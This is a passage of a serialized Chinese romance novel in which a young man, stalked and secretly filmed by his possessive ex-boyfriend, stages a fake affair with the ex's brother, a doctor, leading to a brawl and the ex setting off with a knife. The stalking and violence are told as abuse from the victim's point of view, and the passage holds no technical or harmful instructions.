甄甄没头没脑地来了一句:“那我要是真的出轨了呢?他会怎么……” 想起来这段时间贺越邱的所作所为, 又忽然就没声了。 贺过岭无奈道:“我不太想做这个假设。” 甄甄想起来坐在自己对面的正是贺越邱发疯后的受害者, 张了张唇, 又不知道该说什么。 贺过岭神色如常地为他做完了心理疏导,结束后反复叮嘱他如果感觉哪里很不舒服,一定要马上寻求医生的帮助。 他想了想,最后补充了一句:“你不要有太大的心理负担, 不要说你们只是谈了一段恋爱, 哪怕你们是具有法律效益的夫妻, 你也没有任何要为他的过度控制欲买单的义务, 你随时都有离开他的权利。况且你们现在已经分手了,就算投入一段新的恋爱,或者说进行道德上不太为人接受的一夜情, 于情于理都不能算是出轨,只能算……嗯……” 他斟酌道:“另寻新欢。” 甄甄左耳朵进右耳朵出, 只是听到最后一句时,心里头不知道为什么突然窜出来一个把他自己都吓了一跳的想法,等反应过来后, 心口砰砰直跳, 浑身像过了层电一样,久久无法平静。 贺过岭还在说什么,甄甄已经没有心思再听下去,他甚至都不敢抬头看对方的眼睛, 那个念头也只是一闪而过,就被他害怕又心虚地按下去了。 甄甄推门而出,等在外面的方寸行立刻站起身:“怎么样?好些了吗?” 把压在心底的话都说出去了,甄甄确实感觉轻松不少,眉眼间的忧郁也不知不觉间舒展许多。 他点点头。方寸行神色稍缓,开车先把他送回了自己家,才又去星火上班。 甄甄一个人待在陌生的地方,习惯性地发呆,回想着在医院里和贺过岭的那番对话。 他也不知道自己为什么会产生这种大胆的想法,可当他听到贺过岭说贺越邱其实并不是喜欢他出轨才做那些事,相反贺越邱最害怕他出轨时,他就忍不住那样想了。 贺越邱这种霸道自我的人,也会有害怕的事吗?他会害怕到哪种地步呢?如果用这种事威胁他,会让他收手,放过自己吗? 分手之后,甄甄不仅没有如预想中那样和贺越邱一刀两断,反而被步步紧逼,甚至连监视这种手段都用上了……他真的觉得这样下去,迟早有一天要被贺越邱逼疯不可。 这或许是唯一的办法,可甄甄一有这个念头,自己就先接受不了。 他又没有做错事,为什么要拿自己去报复贺越邱呢?而且被自己当作报复工具的另一个人又何其无辜,莫名要被搅进浑水里,还有可能会遭到贺越邱的打击。他要是真的这么做,和贺越邱好像就没区别了。 甄甄缩在沙发上,想得头昏脑涨都拿不定主意。 他不经意一抬头,橘红色的夕阳洒满大半个阳台,才意识到自己为此纠结了整个下午。 一道手机铃声打断了甄甄的思绪,他一看来电人是方寸行,也没多想就接通了:“喂?” 出乎意料的,那头传来的却是一道无比熟悉、令他毛骨悚然的声音:“把我的联系方式全都拉黑了,不相干的人倒是还全留着。我的耐心都快被你耗尽了。” 甄甄猛地瞪大眼,怎么会是贺越邱! 他还没来得及问,方寸行略显狼狈的声音又传了出来:“你是不是疯了?把手机还给我!” 贺越邱是对他说的,声音森冷:“连你这公司都有我的股份,借你手机和我男朋友打个电话又怎么了?” 不过又很快换上一副温柔的腔调,凑近了话筒,像从前热恋那般,对甄甄缱绻地说:“宝宝,现在别说见你一面,连听听你的声音都好难。你真狠心。” “还给我!别骚扰他!” 方寸行似乎还在跟他争抢,不时传来几句撕破脸的争执和脚步声。 甄甄浑身都在发抖,尤其是拿着手机那只手。 他扣在手机边缘的指节用力到泛白,眼睛瞪得大而空洞,半晌才找回来一点理智,强压着恐惧和愤怒,低声道:“别叫得这么恶心!你到底想干什么?还要我再说几遍,别再纠缠我了!” 短暂的沉默后,贺越邱拿回手机的控制权,依旧甜蜜的语气,却又掺杂着一丝阴恻:“你去见贺过岭了,是不是?” 甄甄愣了一下,没立刻回复,贺越邱便等不及般,暴躁道:“你为什么要去见他?为什么!贺过岭、贺过岭——他到底有什么好,你们人人都要偏向他!你明明答应过我的,你骗我,骗我!” “我只是去医院!贺过岭是一个医生!”甄甄被他弄得也忍不住内心那股躁郁,不自觉就提高了音量,尖锐道:“我再不去看医生我就要死了!你问我,我也想问你,贺越邱,你到底还要把我逼到什么地步才肯罢休?你为什么就是不肯放过我!” 那头传来贺越邱发怒野兽般急促的喘气,又夹杂着一丝心碎,不可置信一样:“你凶我……你为了那个杂种凶我……” 甄甄简直震惊了,被气得眼前发黑,几乎要站不稳:“你觉得自己很委屈,很可怜?贺越邱,你怎么这么不要脸!” 他说完便挂断了电话,把手机当成贺越邱,往地上狠狠一摔,砸在地毯上发出沉闷地一声。 却没有任何发泄出来的畅快,反而眼泪止不住地往下流,又被狠狠地抹掉,细嫩的脸颊磨得立刻红了一块。 在挂断电话之前,他其实听到了贺越邱的威胁,连方寸行这么厉害的人他都从来没当一回事,这京城里还有几个人能制衡他,又凭什么帮一个素不相识的人? 万一贺越邱真的疯了,对方寸行下手,下一个又是谁,贺过岭?还是戴维?甚至是阿曼达?只要是帮过他的人,他都要挨个挨个找过去? 会不会下次他再接起朋友的电话,传出来的又是贺越邱的声音? 是不是无论他搬再多次家、躲到多远,都能在等电梯打开后看到那张噩梦般的脸? 甄甄揪着衣领,只觉得喘不上气,四面八方都是令人窒息的监视,贺越邱这个名字在他的生活中无孔不入,好像他这辈子都再也摆脱不了。 不……不……他一定要逃开这张名为贺越邱的铺天盖地的网,他绝不会这么轻易妥协!谁也不能逼他留在一个想要逃离的人身边,谁也不能! 他的思绪越混乱、越痛苦,脑海中那个念头就越发清晰。他再也不想计较后果,只知道不想这辈子都耗死在贺越邱身上,不想永远都这样被动地承受那变态的控制欲! 甄甄的一双眼睛被泪水洗得发新,在昏暗的环境里,闪烁着灼灼的恨意和坚决。他紧紧攥住了拳头,从这具过分纤细的、枯草般的身体里,爆发出一股磅礴的力量,像极了孤注一掷划过夜空的流星。 深夜,方寸行才终于回来。 甄甄一听到门铃响,便立刻迎了上去,方寸行猝不及防,来不及遮掩,嘴角的淤青就这样明晃晃地露出来。 方寸行愣了下,发觉甄甄哭过的眼睛,忙道:“没事儿,就是……普通打了一架。他也没捞到好处。” 甄甄脚步一顿,握紧拳,什么也没说,转身去拿了家用药箱。 方寸行看他匆匆离开的背影,不知道怎么想的,有点儿开心地笑了一下,又马上“嘶”地倒吸一口凉气。 但他还是开心。 他觉得甄甄也没有那么讨厌他。 上药时,方寸行硬撑着,一声也没吭。快结束时,才冷不丁地冒出一句:“……我总觉得这种情况,应该是贺越邱回家有人给他上药。” 他从前旁观着这郎有情妾有意的一对儿,总以为他们能恩恩爱爱纠纠缠缠一辈子,怎么也想不到,就眨眼的功夫,当时满口都是老公的人,现在正坐在自己身边,小心翼翼地给打了他老公的人上药。 这感觉……真挺奇妙的。 方寸行真有一种撬了贺越邱老婆的错觉。 尤其是……这样静谧的氛围下。 他又和甄甄挨得这么近,近到能数清楚他有多少根睫毛,近到…… 他有些贪婪地呼吸着甄甄吐出来的气息。 方寸行眼也不眨。 突然,甄甄打破了这属于他的美好的沉静。 他问道:“你能帮我联系到贺过岭吗?” 方寸行从迷失的状态中渐渐清醒。 他沉默了一会儿后,抬起头,用那双灯光也照不亮的、漆黑如墨的眼睛,静静地看着甄甄。 他知道甄甄想做什么。他知道他不该问。 他的眼底,闪烁着某种挣扎和不甘心。 甄甄听见方寸行轻得不能再轻的声音,仿佛一句无声地叹息。 他问,“我不可以吗?”—— 作者有话说:老方一个人的酸涩文[哦哦哦] 第53章 第 53 章 兄弟俩大打出手。 灯光中, 甄甄的身形明晃晃地顿了一下。 他当然还记得方寸行酒店醉后告白,却不太清楚他的喜欢究竟有几分。方寸行向来是一个喜怒不形于色的人,说话又总是毒舌刻薄, 为他做了很多事, 也闷在心里不说。 很多时候, 他其实感觉不到方寸行有多爱自己。 但是这会儿, 甄甄避不开那双安静的眼睛, 在平静的光芒下,似乎窥探到了一些藏在深处的、缓缓流动的东西。 让他心里有点儿闷得慌,让他觉得……自己好像很可恶,辜负了一颗捧到面前的真心。 甄甄不知道该怎么回答这个问题, 他只能说:“不可以。” “佳航呢?” 甄甄这次连思考都没有, 斩钉截铁:“更不可以。” 他缓了缓, 有些难过地说:“对不起。我思来想去, 也许只有这样才能让贺越邱明白,我真的不可能再跟他复合。但我不能因为一己之私,就连累你或者戴维。你和贺越邱从小一块儿长大, 你最了解他是个什么人。” 方寸行轻轻勾起的唇角带着些许涩意,他其实知道会是这样的答案, 只是……总有点不甘心而已。 他张了张嘴,话到临头,又变了, 把那些躁动的心思都生生按下去, 只苦笑一声:“你有需要帮助的地方,跟我说就好。” 甄甄真诚地对方寸行说:“谢谢。” 1 还是那间门诊室。 “所以你最后觉得,我最合适?”贺过岭看着心虚低下头去的甄甄,似笑非笑。 他今天没带小狗医生来, 甄甄没有狗可以摸,只好摸摸自己腿部的布料,耳尖一片薄红。 来之前一直在做心里建设,但真正到了贺过岭面前,甄甄还是羞得半天没能开口,他自己都觉得好荒谬,哪里有哥哥的前男友跑过来说希望你能和我搞到一块儿好让你哥知难而退的? 甄甄臊得脸颊滚烫,都不敢抬头看贺过岭。 但出乎意料的是,贺过岭本人却接受良好,还反过来开解甄甄:“你不用觉得不好意思,这又不是你的错,你要不是被我哥逼得实在没办法了,怎么会想到来找我?先不说我作为贺家人,我哥对你做了这种事,本来就抱有责任,就说从你的选择上来看,你是对的。我哥确实最讨厌我,而且我们从小到大都不对付,也不差这一次两次了,我也不怕他事后报复。” 他这番话反而把甄甄给说服了。甄甄勉强抬起头看向贺过岭,年轻医生戴着银框眼镜,斯斯文文的,说话时总是轻声细语,眉眼间都带着温和的笑意,给人特别温柔、如沐春风般的感觉。 他盯着对方和贺越邱八分相似的相貌,一瞬间,心底竟然升起个可怕的想法,他想着要是贺越邱也像他弟弟这样温文尔雅,那他们多半也走不到这一步吧? 而且贺过岭越是通情达理,甄甄心里的负罪感就更强,不是很有底气的,小声说:“这很为难你,我们都不熟……” “其实不为难。” “啊?” 贺过岭的目光落在甄甄懵懵懂懂的眼睛里,明明是他主动提出来的,反倒像他才是被哄骗的那一方。 贺过岭笑了笑:“我对你挺有好感的。你这么漂亮,善良,又活泼,大方。最重要的是,你敢爱敢恨,拿得起放得下,我想很少会有人不欣赏。” 甄甄被夸得有点儿飘飘然了:“是、是吗?我这么好呀……” 贺过岭用肯定的眼神看着他:“很好。” “但是……”甄甄又犹豫了,他还是过不了心里那一关,就算是为了逼贺越邱放手,可他和贺过岭连感情都没有,怎么去做那种事? 贺过岭有趣地笑了,甄甄就像声音很大、胆子又很小的小型犬,明明也算不上干坏事,但一被发现就要悄悄躲在转角后面,只露出一双湿湿润润的黑豆眼睛小心翼翼地试探。 他摘掉手套,伸出手,示意甄甄可以来牵:“那要不要先试试循序渐进呢?我的假扮男友。” 甄甄脸颊一红,害羞地轻轻把右手放在贺过岭的大掌里,随即便被握住,感受到掌心干燥的、比常人低一些的温度。 细白修长的手指紧张到发抖,再看它的主人,也是一副含着湿湿水光,顾盼犹疑,好像被欺负狠了的模样。 贺过岭忽然生出一点恶劣的心思,比如说用力攥紧,看他疼得哭出来。他这时候有点理解他那个偏执狂控制欲大哥了,谁把这么可爱又好欺负的小狗弄丢,都会急得到处找,找不回来就要发狂。 贺过岭存了一点故意逗弄甄甄的意思,“怎么样?没那么排斥吧?” “还好……” 突然间,一道惊雷般的踹门声在甄甄耳边炸开,打断了他剩下的话。 还不等他回头看,紧接着便是手腕一痛。抬头一看,赫然是暴怒的贺越邱,吓得他顿时呆坐在椅子上,迟迟说不出话。 贺越邱一看到甄甄害怕的眼神便心头一痛,有些狼狈地避开。转头憎恨地看向贺过岭,被他那副轻松随意的笑容激得怒不可遏:“很好,你他妈敢动我的人。” 贺过岭直直地对上那双喷着火、要把他吃了的眼睛,笑得宛如火上浇油:“我们什么也没做。再者,甄甄是他自己的,不是谁的附属品。” 这话跟当着贺越邱的面承认他们什么都做了没区别,他嘴角一扯,冷笑着硬生生把他们握在一起的手掰开,一颗跳得急促如鼓的心脏也好像被谁活生生掰碎了一样,疼得他快喘不过气了。 他压着那股充斥着腥味的疼痛,紧盯着贺过岭,一字一句:“找、死。” 甄甄被手腕传来的刺痛激回神,猛地甩开贺越邱的手,警惕道:“你怎么知道我在医院?你跟踪我?!” 贺越邱浑身上下不知道多痛,他好想现在就把甄甄抱进怀里,把他揉进自己的骨肉,然而他用这样炽热的眼神看向甄甄,努力地在那双浅色的瞳孔里寻找熟悉的喜欢和依赖时,却只得到陌生的防备。 他收到那样的眼神,立刻就觉得好像被雷劈了一下,眼球剧烈颤抖起来,拳头攥紧到指甲都深深嵌进肉里,好像只有这样才能勉强压住心脏传来的酸痛。 甄甄不敢看贺越邱,他这么急、这么气,就像来抓红杏出墙的老婆,他从来也没有见他气成这样。 他低下头,闭了闭眼,装出冷漠的语气:“不管你是怎么知道我在这的,我要做治疗,请你马上出去!” “治疗?”贺越邱好像听到什么可笑的话一样,冷笑道:“治疗需要医生和病人手拉手?!下一步又是什么?要不要直接脱了衣服抱在一起啊!” 闯进来时看见的那一幕还在脑海中重复播放,让他从来没有感受到像现在这样滔天又扭曲的嫉妒,仿佛是从身体每一滴血里升腾起来的,流遍四肢百骸,最终连同怒火一起窜上头顶,逼出眼底的根根血丝。 他凶狠而暴戾地看着贺过岭,势要把他扒皮抽骨,下一秒毫无防备地挥出拳头:“老子今天就教教你该怎么当医生!” 甄甄惊慌失措地叫了一声:“你干什么!!” 贺过岭躲得很快,只是眼镜被打飞,视线瞬间就变得模糊,连带着听到的声音好像都迟缓了很多。 贺越邱再次挥拳,甄甄猛地扑上去抱住,他自己也怕,都吓得哭出来了,但还是对贺过岭说:“你快点走!他要发疯了!” 贺越邱顾忌着甄甄,束手束脚:“放开我!你要护着他?你为什么护着他!” 甄甄惊恐地看着那几乎比自己头还大的拳头,一瞬间仿佛又回到那天晚上,惨白着脸,说不出话。 贺过岭捡起眼镜,一戴上,就看到甄甄脸颊上挂着的眼泪,为他怕成这样都还要维护自己的样子而怔神,直到嘴角重重一痛,才猛地被拉回现实。 他被贺越邱一拳打得撞在桌角,腹部传来剧痛,又听到甄甄惊恐地尖叫,心中忽然生出一种久违地陌生地愤怒,抓起键盘狠狠往贺越邱头上一砸。 兄弟俩很快扭打在一起,甄甄看得傻了眼:“别打了!贺越邱!你疯了!” 他想上去拉架,却根本插不进去,尝试几次后就放弃了,跑出去找帮手。 贺越邱拎住贺过岭的衣领,额角一突一突,颈侧青筋直冒,火星子几乎要从他的眼睛里迸出来,一字一字地警告道:“给我离甄甄远点儿!你要是再敢插手我跟他的事,你小时候怎么躺进医院的,我不介意让你再躺一次。我说到做到。” 贺过岭毫不示弱,还有心情扶眼镜,嘲弄般一笑:“贺越邱,你真可怜,连唯一能受得了你这种丧门星的人都被你亲自弄没了。你说说,这世界上还有谁能容得了你?真是活该孤家寡人。” 贺越邱怒吼道:“给我闭嘴!” 等甄甄带着人赶来拉架,贺过岭的办公室里早就一片狼藉,他和贺越邱都动了真格,剑拔弩张到谁也不会相信这是一对兄弟,分明就是杀红眼的仇人。 第54章 第 54 章 【贺医生,你来找我吧。…… 有人帮忙, 这兄弟两很快就被分开了。 贺越邱到底是打橄榄球的,体格都比贺过岭壮,他占据上风, 没受什么伤, 只是嘴角破了点皮。 贺过岭就比较狼狈, 眼镜都碎了一半, 被拉开时走路也有点踉跄, 要不是甄甄眼尖扶了一把,差点摔在地上。 贺越邱一看到甄甄扶着贺过岭的手,当场又要爆发,好几个保安才勉强架住他。 他激动地喊:“放开我!你们眼瞎了看不见他在骚扰病人吗!那是我男朋友!他在骚扰我男朋友!医院里允许这种医德败坏的医生吗?!” 贺过岭接过护士递来的冰袋, 敷着额角的伤口, 闻言皮笑肉不笑道:“我劝你嘴巴放干净点。” 这里是医院, 保安当然是听贺过岭的, 合力控制住贺越邱,看他的眼神完全像在看无理医闹的家属:“什么你男朋友,那是贺医生的病人!” 贺越邱听得想杀人! 贺过岭看着原来不可一世的兄长失去理智怒火冲冲瞪着他的样子, 忽然笑了一声,一点也不生气, 反而觉得好好一个人把自己搞成这样挺可笑的。 他转头看着甄甄,语气温和:“他之前那么欺负你,你要不要趁这个机会, 好好教训一下他??” 甄甄愣了一下, 怔怔地看向贺越邱,等他反应过来后,已经走到了他面前。 贺越邱此时的注意力全都转移到甄甄身上,熊熊燃烧的怒火一下子熄灭。他一点也不怕, 好像就知道甄甄不会对自己做什么一样,只是带着一种热切,眼神期盼地看着他。 “甄甄……”他张了张嘴,脑子里复习过好几次的话这时候却说不出来,到最后只剩下那几句翻来覆去的、干巴巴的道歉求和。 “我好想你,和我回去吧,好不好?” 甄甄眼睛里的光跃动着,忽然对贺越邱提不起任何愤怒,他就是觉得好悲哀,为什么都到这一步,这个人都还是一副他们一定会复合的信誓旦旦的样子?他在贺越邱心里到底是有多爱他,才让贺越邱觉得,即便发生了那么多突破底线的事,他都还是会像以前吵架那样闹过脾气之后就原谅? 可他们不是吵架,他不是闹脾气啊,贺越邱为什么就是不能把他的话听进去,为什么就是……这么的不尊重他。 甄甄笑了一下,眼泪掉下来,眼眶泛着一圈薄红,颤抖着对贺越邱说:“我再最后跟你说一次,我们分手了,我不爱你了,你如果再这样随便对我的朋友,对我的医生大打出手,我真的会……” 我真的会报复你的。贺越邱,我真的会报复你的。 他想放狠话,但几乎是恳求的语气说出来:“你不要逼我……” 贺越邱只顾着让甄甄别哭,急得想替擦掉眼泪,却被挡着过不去,又凶神恶煞地让保安们放开他。 贺过岭缓过这阵,走到甄甄身边,和他并肩而立,那种楚河汉界、把贺越邱牢牢排除在外的感觉,让贺越邱心里又嫉妒又钝痛,好像被车轮狠狠碾过一样。 贺过岭淡淡一笑:“哥,听见了吗?甄甄让你不要打扰他。” “贺过岭,你还要不要脸!” 贺越邱表情扭曲地看着他,这狗杂种一定是故意的,一定是! 他冲过去想一拳砸烂贺过岭的笑容,但他一个人也架不住五六个保安拦,只能眼睁睁地看着贺过岭带着甄甄离开门诊。 贺越邱声嘶力竭地喊着甄甄的名字,企图留下他,可那个纤瘦的背影只是顿了顿,连头都没回,而他身旁陪伴的人影和自己那么相似,却又不是他。 这一幕刺激得贺越邱眼睛发红,心底有什么声音在咆哮,却又憋闷得喊也喊不出来,只是难受得好像要死了。 贺过岭安慰好甄甄后,本来想送他回去,但一个护士匆匆赶来说有手术,他也只能留下一句“有需要尽管找我”,就跟着过去了。 甄甄揉揉哭过之后干涩的眼睛,转身往医院外面走,路上碰到一个拎着保温桶的小女孩,看见他后放慢了脚步,眼神里带着一种迟疑不定,不过在确定他就是之后,这股犹豫很快就变成了惊喜。 “哇!你是甄甄吧!你账号刚几千粉的时候我就关注你了!” 她一提到账号,甄甄下意识就要以为是贺越邱那个,慌张得差点转身就要走。好在她下一句就是夸他长得好看,又提到了他拍的那些广告,甄甄才没逃走。 她感叹道:“我每天都点进你的主页看你更没更新,你的直播我也每场都准时看,还剪了好多切片爆了几次赞呢。原来你真的没开美颜,线下也这么好看,比线上都还好看!” 说着,又遗憾道:唉,不知道你最近是不是比较忙,都两个多月没发新视频了。” 她不提的话,甄甄自己都快忘记,他之前是个刚火不久的平面模特了。 他为这些话而出神好久,不过就是短短两个月,但那些在片场面对闪光灯的记忆就已经变得很模糊,覆盖着一层厚厚的雾霾。 女孩的话好像拨开了一点儿阴影,让他看到了自己从前鲜活的样子,不然他差点就要以为,他这辈子只活了这两个多月了。 甄甄有点儿拘谨地对她的喜欢表达了感谢,她掏出手机,笑眯眯地提议道:“可以和你拍个合照吗?我真的特别吃你的颜!” 甄甄一听见拍照,脸色霎时间就白了,后背惊出一身冷汗,喃喃道:“不、不行……对不起,我不想拍照。” 女孩见他反应这么大,又看他在医院里,比之前憔悴这么多,顿时自己想通了,以为他不想让别人知道生病的事,就赶紧安慰道:“没关系没关系,不拍也没事的,没想到能见到你真人,我已经很惊喜了。” 甄甄愣愣道:“你不生气吗?” 她噗嗤一笑:“我有请求的权利,你也有拒绝的权利啊!这本来就是你的隐私权嘛,你想不拍当然就不拍。” 一句平平无奇的话却像一道惊雷,轰然炸开了甄甄心底的一块儿小口子,他反复地默念着女孩的话,突然悲从中来,狠狠地闭了一下眼睛,把即将夺眶而出的眼泪憋回去。 女孩还要去照顾病人,很快就和甄甄道别了,临走前她从兜里掏出一把大白兔奶糖送给甄甄:“不要担心,你肯定会很快康复的,到时候再更新也不迟,我会一直支持你的!” 甄甄手心捧满了糖果,扑面而来一股醇厚的奶香味。他其实不爱吃糖,但是这天下午,他坐在医院大厅的长椅上,把手里的糖一颗一颗吃完了,甜味儿到最后都变得有些苦,可他还是剥开糖纸,把奶糖放进嘴里。 糖吃完之后,甄甄站起来,头有点晕眩,他等了会儿,脑子反而前所未有的清晰。 回方寸行家里的车上,甄甄做下决定,也在心里默默地给了贺越邱最后一次机会,只要他今天之后不再来纠缠自己,他就当前尘往事一笔勾销,可是如果…… 甄甄抬头,从方方窄窄的后视镜里看见自己苦涩的笑容,他比谁都清楚,根本就没有如果,不让贺越邱彻底死心,他就永远别想摆脱他。 他不是不知道该怎么做,他也努力了,他只是……自己迈不过最后那道坎。 他一天迈不过最后那道坎,就多在名为贺越邱的噩梦里活上一天。 甄甄有些茫然地摸着心口,这里经历了那么深刻的伤痛以后,已经很少再能感觉到切切实实的痛了,很多时候他都只是下意识地哭而已。 这里空落落的,他听到他问自己的回声,你真的要一辈子都这么浑浑噩噩地活在这个噩梦里吗? 甄甄还没想出来答案,方寸行住的小区就到了。他下车,进了电梯,到楼层又出来。方寸行家和贺越邱那套房子一样,都是一梯一户的大平层,走过入户阳台就是大门,一步、两步…… 甄甄忽然抬起头。 他定定地看着斜对面的消防栓上方,一种熟悉的、被窥视的感觉油然升起。 他现在对镜头的反应已经很敏感,到了连一切反光的镜面物体都风声鹤唳的地步。 甄甄很想说服自己那不是,可黑暗中微弱的红光让他遍体生冷,表情也渐渐拉平。 他在原地站了很久,直到微微发麻,忽然抬腿走到那下面,盯着一片没有实质的黑暗,笑了。 有什么液体滴在地上的声响,但又好像只是错觉。 不过下一秒,电话铃声响起的声音却是切切实实。 “甄甄?”电话那头,方寸行显得有几分错愕,“你怎么忽然打给我——是贺越邱又来了?!该死的,他怎么这么阴魂不散!……你别急,别害怕,我马上就回来!” 他那头传出急切的脚步声,还隐隐有几声戴维的呼喊。 这一刻,甄甄反而很平静,用寻常的语气说:“他没来。你别担心。” 方寸行的脚步停住,“那你……” 甄甄想了半天也不知道这种事该怎么说,索性挑明:“我借用一下你的房子,之后会找最好的保洁公司帮你做卫生的。要是有什么东西损坏……我也赔给你。” 他几乎是一瞬间就反应过来他要做什么,惊愕过后正要开口,然而下一刻就只听到电话挂断的声音。 戴维不知内情,着急道:“怎么了?是不是那个姓贺的?他真是没完没了,甄甄都被他害成什么样了!我们快去看看,别让甄甄又被他欺负了!” 方寸行却拦住了他,眼中一番纠结挣扎后,选择随甄甄去:“……没事。” 挂掉电话后,甄甄没急着进去,他找了个换鞋凳坐下,给贺过岭编辑信息发过去,又打开了共享定位。 【你来找我。】 【记得买套。】 第55章 第 55 章 “贺过岭!你给老子滚出…… 甄甄呆呆地坐着, 盯住窗外的夜景出神,等了快一个小时贺过岭才回复消息。 【贺医生:抱歉,刚下手术。】 【贺医生:你这会儿冷静些了吗?】 甄甄抿抿唇, 手指点了几下。 【我很冷静。】 一阵“正在输入中”后, 贺过岭答应下来, 给他发了一张在开车的照片。 甄甄放下手机。 人还没到, 他这会儿内心很平静, 把记忆翻出来放在月亮下晒晒,从初见贺越邱一直想到现在,眼睛中渐渐有些湿润的动容。 他知道,这段记忆横跨他生命中最珍贵最美好的几年, 以后无论是否有幸再遇见契合的爱人, 他都永远忘不了。 如果可以, 他也不想最后闹得个这么不愉快又难堪的收场。 只是可惜。 甄甄抬头, 看着隐蔽到近乎察觉不出的微型监控,用口型无声地说了几个字。 他还是希望贺越邱能主动放手。 贺过岭来得很快,手里提着一个小小的黑色塑料袋。电梯一打开, 他就看到了那个孓孓独立的纤瘦身影,深深地低着头, 抱着自己的膝盖,浑身散发着一种病气、羸弱的气质。 一瞬间,贺过岭不太敢走上去。 他鲜少踌躇了一下, 才走出电梯, 甄甄应声抬头,两人视线交汇,短短的几秒时间,却被拉得无限延长。 就这么一个眼神, 贺过岭什么都懂了,上前两步搂过甄甄,轻轻笑道:“在等我?” 甄甄特别小声地说了句:“你也太敬业了吧,医护专业才应该去逐梦演艺圈。” 旋即抬头挑衅地看了眼监控,提高到正常音量,直接挑明了:“贺越邱,你这么爱偷看,那就好好看看你弟弟是怎么睡你老婆的吧。” 贺过岭的表情有片刻的崩坏,不过很快就入戏了,低下头凑到甄甄耳边,看似在亲昵,实则是说:“你真想好了?你不用担心,我没关系,就算最后假戏真做也不吃亏。但你看起来不是能够接受这种关系的人,如果你继续不下去,可以随时喊停,一切以你的想法为重,我会尊重你的选择。” 他离得是这么近,吐字时的气息都喷洒在甄甄耳后,并不是太暧昧,但看着那熟悉的轮廓,恍惚间,甄甄好像看见了贺越邱。 他控制不住地想,如果贺越邱也能学会尊重,而不是一味地以自我为中心,那他们应该也走不到现在这一步。 但事已至此,想那么多也没用了。 甄甄悄无声息地叹了口气,闭上眼:“走到哪步算哪步吧。” 贺过岭试探性地,用微热的唇瓣,轻轻碰了下近在咫尺的白皙耳垂。 手中的细腰微微抖了一下,但克制住没有躲开,他便圈得更紧,在进门之前,若有所感地回过头,冲着那个方向勾起胜利者的微笑。 “不要……推开他……甄甄,推开他……” 贺越邱紧紧盯着手机里的监控画面,渐渐缩小的瞳孔爬上一根一根猩红的血丝,终于在看见贺过岭搂着甄甄的腰一起走进方寸行的房子时,缩成了最小的一点,从里面泄洪般流露出愕然、愤怒、嫉恨…… 他忽然把手机往地上狠狠一摔,瞬间爆出四分五裂的元件,一个碎片溅起来飞过他的脸颊时划破一道细小的血口。 “操!” 空荡的客厅中传出如雄兽被夺去雌兽般绝望而又令人胆寒的嘶吼,一声接着一声,暴怒的情绪却根本释放不完,最终视野所及之处所有的东西全部被扫到地上,连大理石的茶几也被一脚踹翻。 “贺过岭!我杀了你!” 贺越邱发泄一通后,砰砰直跳将要爆炸的心跳没有得到任何缓解。他站在一片狼藉中急促地喘着气,眼神里除了极端的愤怒之外还有着一种打从心底升起来的、似曾相识的恐慌,他不敢相信贺过岭居然是甄甄叫来的,不敢相信在贺过岭搂过去、亲过去时甄甄居然没有推开,为什么……为什么?! 不是答应过他会离贺过岭远远的吗?不是说好了永远都会陪在自己身边的吗?不是说好了全世界最喜欢他最爱他的吗? 为什么变了? 贺越邱一句句地质问着空气,眼睛不知因发怒还是别的而涨得通红,他疯狂地破坏着目之所及能够破坏地一切,可只要一想起来那些刺眼的画面,他就只觉得根本不够,远远不够!他的心都好像被那个没有被推开的吻撕开了一道口子,呜呜地往里灌着风,好疼、好疼…… 他猛地捂住心脏,面露痛苦,许久也感受不到它的愈合。 它同样也在凄厉地质问着,为什么能够让它感觉到安心的人不在了,他到底在哪儿?要找回来!他是我的!不能让他被抢走! 找回来……我的……谁也别想抢走! 贺越邱猩红着眼,从废墟中捡起一把水果刀藏在西装口袋里,转身就冲出家门,开上车狂踩油门,在市区飙出100多迈,一路闯了十几个红灯,对同行司机们的叱骂都充耳未闻,满心只剩一个念头:甄甄……甄甄……不要离开我…… 贺越邱已经毫无理智,只剩冲动和本能还在支配这具身体,冲进方寸行家中小区的地下车库后连停都未来得及挺好,甚至因为心急,车头蹭过承重柱时把他也狠狠地往前甩了一下,脑袋磕在车窗上,传出一阵阵闷痛。 停稳后,贺越邱甩了甩头,忍着眼前发黑,开门下车,晕头转向了一会儿,捂着头像醉汉一样摇摇晃晃地进了电梯。 在电梯缓缓爬升的几十秒里,贺越邱渐渐从刚才的撞击中回过神,眼神清楚了一些,紧紧盯着不断变化的红色数字。 叮咚—— 电梯门开了。 客厅里,贺过岭已经脱了外套和手套,只穿着一件熨烫整齐的白衬衣,扣子一直扣到距离喉咙最近的位置。 他们进来后聊了一会儿天,现在没那么拘谨了,贺过岭就渐渐铺垫道:“可能我答应得太轻松会让你以为我对性关系的看法比较开放,但只是因为提出来帮忙请求的人是你,我才会同意。事实是,我不喜欢被人看到身上的疤痕,这些年没有过亲密关系,所以你不用害怕我有传染病。” 他顿了顿,又笑道:“不过你也别担心,我虽然没有实际经验,但理论上还是比较丰富的,如果会做到最后,应该也不会弄伤你。” 甄甄随着贺过岭的目光看向那个黑色塑料袋,透过开口,隐约能看到里面不只有套。 甄甄紧张地抠着沙发,不太敢看他,试图说些什么话活跃下气氛:“哦……那,那你当处男的时间比你哥还长。” 向来斯文的贺过岭却忽然凑近了他,嘴角的笑容也淡了一些,紧紧盯着他的眼睛,轻声道:“就算是逢场作戏,这种时候也不要再在我面前提到别的男人了。” 甄甄的心脏瞬间提了起来,呼吸也有点困难,好像随着贺过岭的逼近,有谁把他周围的空气全都抽走了一样。 他们距离极近地对视着,一方强势,而一方略显柔弱。 贺过岭从没有这么近地观察过甄甄,吊灯的暖光从头顶倾洒,衬得他原本病弱的苍白肤色也有了几分生气,一双微微下垂的眼睛里盛着融融清光,显得十分无辜,万分可怜。 他养着小狗,对这样的眼睛并不陌生。看着看着,就不知道哪里的弦断了,原来规律的呼吸忽然变得有些乱。 “我可以亲你吗?” 甄甄下意识地就想要远离,但在这个念头生起的下一瞬,看着贺过岭这张脸,他又想到点什么,强迫自己钉在原地,一番纠结挣扎之后,闭上了眼睛。 贺过岭扣住他的后脑,往自己这边带了点,低头吻住那两片带着些许湿润和香气的薄唇,立刻就有一种闪电流经全身血液的错觉,心跳也陡然加快,好像冬天打在铁皮棚上的冰雹,咚咚咚咚的,震得人耳朵疼。 贺过岭从未想过和人接吻是这种感觉,有些惊愕地睁开了眼,入目就是甄甄纤秾卷翘的睫毛,像蝴蝶翅膀一样,扇起轻微地颤动。 每一下,他的心脏都跟着跳。 他不由自主地想要索取更多,这个本该一触即分的浅浅的吻也在逐步加深。 